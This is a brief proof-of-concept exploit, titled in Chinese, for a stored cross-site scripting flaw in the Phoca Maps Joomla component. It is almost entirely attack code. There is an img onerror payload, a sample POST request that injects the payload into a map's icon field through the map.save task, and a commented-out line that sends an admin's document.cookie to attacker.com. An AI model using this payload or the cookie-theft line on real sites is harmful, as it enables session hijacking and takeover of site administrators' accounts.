CVE-2026-23900: Phoca Maps组件存储型XSS漏洞

// Proof of Concept for CVE-2026-23900 // Target: Phoca Maps Component 5.0.0 - 6.0.2 // Type: Stored XSS in Icon/Map Rendering // 1. Construct the malicious payload to be injected into the Icon field or Map Description var payload = '<img src=x onerror=alert("CVE-2026-23900-Stored-XSS")>'; // 2. Simulate the HTTP Request to inject the payload (Conceptual) // The attacker sends a POST request to the component endpoint saving the map data. /* POST /index.php?option=com_phocamaps&task=map.save HTTP/1.1 Host: vulnerable-joomla-site.com Content-Type: application/x-www-form-urlencoded jform[title]=MyMap&jform[icon]=' + encodeURIComponent(payload) + '&... */ console.log("[+] Payload prepared: " + payload); console.log("[+] Exploit trigger: Payload will execute when an admin views the map in the backend or frontend."); // 3. Malicious action (Cookie Theft example) // var img = new Image(); // img.src = "http://attacker.com/steal.php?c=" + document.cookie;